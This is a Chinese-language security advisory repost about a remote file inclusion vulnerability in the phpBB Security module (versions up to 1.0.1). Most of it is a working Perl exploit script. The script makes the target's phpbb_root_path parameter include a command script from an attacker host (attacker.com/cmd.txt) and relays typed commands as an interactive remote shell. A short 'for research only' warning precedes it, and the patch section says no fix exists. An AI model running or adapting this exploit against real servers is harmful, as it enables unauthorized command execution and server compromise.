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phpBB Security phpbb_security.php远程文件包含漏洞 |
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| phpBB Security phpbb_security.php远程文件包含漏洞 |
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| 作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 15:09:42 |
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2006-10-23 10:24:06
发布日期:2006-10-13 更新日期:2006-10-16
受影响系统:phpBB Security phpBB Security <= 1.0.1 描述:
BUGTRAQ ID: 20518
phpBB Security是用于在phpBB论坛中所使用的病毒和攻击过滤模块。
phpBB Security模块在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
phpBB Security模块的phpbb_security.php脚本没有对phpbb_root_path参数数据做充分地检查过滤,远程攻击者可以使脚本包含远程服务器上的PHP代码执行。
<*来源:Ashiyane Corporation (nima@ashiyane.ir)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! #!/usr/bin/perl
###################################################################################### \
############### # \
# # phpBB Security 1.0.1 \
# # \
# # Class: Remote File Include Vulnerability \
# # \
# \
# # Date: 2006/10/12 \
# # \
# # Remote: Yes \
# # \
# # Type: high \
# # \
# # Site: http://www.phpbb-amod.com/downloads/phpBB_Security.zip \
# # \
# #################################################################################### \
#################
use IO::Socket;
use LWP::Simple;
$cmdshell="http://attacker.com/cmd.txt"; # <====== Change This Line With Your \
Personal Script
print "\n";
print "##########################################################################\n";
print "# #\n";
print "# phpBB Security <= 1.0.1 Remote File Include Vulnerability #\n";
print "# Bug found By : Ashiyane Corporation #\n";
print "# Email: nima salehi nima[at]ashiyane.ir #\n";
print "# Web Site : www.Ashiyane.ir #\n";
print "# #\n";
print "##########################################################################\n";
if (@ARGV < 2)
{
print "\n Usage: Ashiyane.pl [host] [path] ";
print "\n EX : Ashiyane.pl www.victim.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vul="phpbb_security.php?phpbb_root_path="
print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";
print "<Shell> ";$cmd = <STDIN>;
while($cmd !~ "END") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") \
or die "Could not connect to host.\n\n";
print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\n";
while ($raspuns = <$socket>)
{
print $raspuns;
}
print "<Shell> ";
$cmd = <STDIN>;
}
建议:
厂商补丁:
phpBB Security
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpbb-amod.com/downloads/phpBB_Security.zip
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| 文章录入:admin 责任编辑:admin |
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